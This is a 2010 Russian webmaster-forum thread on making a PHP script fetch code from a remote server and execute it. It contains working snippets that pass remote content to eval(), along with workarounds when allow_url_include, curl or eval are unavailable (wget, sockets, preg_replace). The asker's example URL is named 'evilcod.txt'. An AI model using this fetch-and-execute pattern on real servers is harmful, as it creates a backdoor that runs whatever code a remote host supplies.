Удалённый инклюд - Форум успешных вебмастеров - GoFuckBiz.com
 
 
Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB93.4409
BTC/USD64386.0864
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 18.07.2010, 16:59   #1
aoki
Senior Member
 
Регистрация: 05.10.2009
Сообщений: 687
Бабло: $152005
По умолчанию Удалённый инклюд

Есть скрипт хочу сделать так чтобы он подгружал, с другого сервера тхт файл, и выполнял из него код конструкция типа include 'http://whitehouse.gov/evilcod.txt'; не работает. Как сделать чтобы задумка осуществилась в местах где доступа к конфигам нет, и как сделать где доступ к конфигам есть.
aoki вне форума  
Старый 18.07.2010, 17:06   #2
Fisherman
Super Moderator
 
Аватар для Fisherman
 
Регистрация: 04.04.2007
Адрес: Panama
Сообщений: 5,301
Бабло: $1565315
По умолчанию

curl

<?php
if (extension_loaded("curl")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://url.net/incl.html");
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode("",file("http://url.net/incl.html")); }
if($r) print $r;
?>
Fisherman вне форума  
Старый 18.07.2010, 17:08   #3
aoki
Senior Member
 
Регистрация: 05.10.2009
Сообщений: 687
Бабло: $152005
ТС -->
автор темы ТС По умолчанию

Так curl просто выведет содержимое файла, а не выполнит его, или я ошибаюсь?

Цитата:
curl

<?php
if (extension_loaded("curl")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://url.net/incl.html");
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode("",file("http://url.net/incl.html")); }
if($r) print $r;
?>
так не получилось, код вывелся как текст, но не выполнился
aoki вне форума  
Старый 18.07.2010, 17:15   #4
Fisherman
Super Moderator
 
Аватар для Fisherman
 
Регистрация: 04.04.2007
Адрес: Panama
Сообщений: 5,301
Бабло: $1565315
По умолчанию

да точно, не правильно понял.. ну таким макаром ссылки можно вставлять на дружественных ресурсах короче.. сорри если тебе другое
Fisherman вне форума  
Старый 18.07.2010, 17:19   #5
pina
хде мой компот?!
 
Регистрация: 07.01.2008
Сообщений: 327
Бабло: $31276
Отправить сообщение для pina с помощью ICQ
По умолчанию

eval контента, должен сработать
pina вне форума  
Старый 18.07.2010, 17:26   #6
aoki
Senior Member
 
Регистрация: 05.10.2009
Сообщений: 687
Бабло: $152005
ТС -->
автор темы ТС По умолчанию

я в php слабо соображаю вот такое не помогло

Цитата:
if (extension_loaded("curl")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://url.net/incl.html");
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode("",file("http://url.net/incl.html")); }
if($r) eval ($r);
aoki вне форума  
Старый 18.07.2010, 17:41   #7
underwit
Senior Member
 
Аватар для underwit
 
Регистрация: 17.09.2009
Сообщений: 210
Бабло: $41929
По умолчанию

Цитата:
Сообщение от aoki Посмотреть сообщение
я в php слабо соображаю вот такое не помогло
Проверь в коде который передаешь функции eval не должно быть <?php ?>

PHP код:
$r=implode("",file("http://url.net/incl.html")); } 
Юзай
PHP код:
file_get_contents(); 
underwit вне форума  
Старый 18.07.2010, 19:51   #8
chesser
автоматизирую интернеты
 
Аватар для chesser
 
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
По умолчанию

если конструкция вида:
PHP код:
include 'http://www.example.com/file.txt?foo=1&bar=2'
не работает, значит не включена одна из двух опций: allow_url_fopen(по деф. вкл) или allow_url_include(по деф. ВЫКЛ) - читаем php man
Эти опции запрещают/разрешают выкачивать(открывать) контент с внешних серверов, т.е. по URL
allow_url_include - отвечает только за include/require (_once), и то она работает, только если allow_url_fopen включена.

Если allow_url_fopen выкл, то нужно искать не php-шную доставку контента с внешнего сервера на ваш, а потом уже запускать eval() с этим контентом. Как вариант - это curl, если он поддерживается сервером. Либо, если возможно, грузить контент через системную команду аля wget

Если allow_url_fopen вкл, но allow_url_include выкл - то контент можно загрузить с помощью php и потом запустить его через eval
PHP код:
<?php
  $c 
file_get_contents('http://www.example.com/file.txt?foo=1&bar=2');
  eval(
$c);
?>
вместо file_get_contents можно использовать аналоги: file, fopen - принцип тот же.

Посмотреть состояние опций allow_url_fopen и allow_url_include можно через:
PHP код:
<?php
phpinfo
();
//или через
echo ini_get('allow_url_fopen');
echo 
ini_get('allow_url_include');
?>
изменить их значение можно в конфиг файле /etc/php.ini или можно попробывать через ini_set('allow_url_include', 'On');
__________________
USA и NL серверы и VPS | wiki | блог | Drupal | NginxТДС
Ave, Google, morituri te salutant! © chesser
chesser вне форума  
Старый 18.07.2010, 23:08   #9
dealer
me gusta
 
Аватар для dealer
 
Регистрация: 01.06.2009
Сообщений: 746
Бабло: $135376
По умолчанию

chesser все верно расписал.
добавлю, что если curl'а нет или он отключен, можно попробовать заюзать сокеты.
так же если отключен eval(), можно попробовать заюзать выполнение кода через preg_replace();
__________________
Знать путь и пройти его — не одно и то же. Pharmcash & PharmcashUSA - знаем, проходили... Лидеры в фарме
dealer вне форума  
Старый 18.07.2010, 23:21   #10
deschain
Senior Member
 
Аватар для deschain
 
Регистрация: 01.11.2007
Сообщений: 2,269
Бабло: $288535
По умолчанию

dealer, расскажи про preg_replace?
deschain вне форума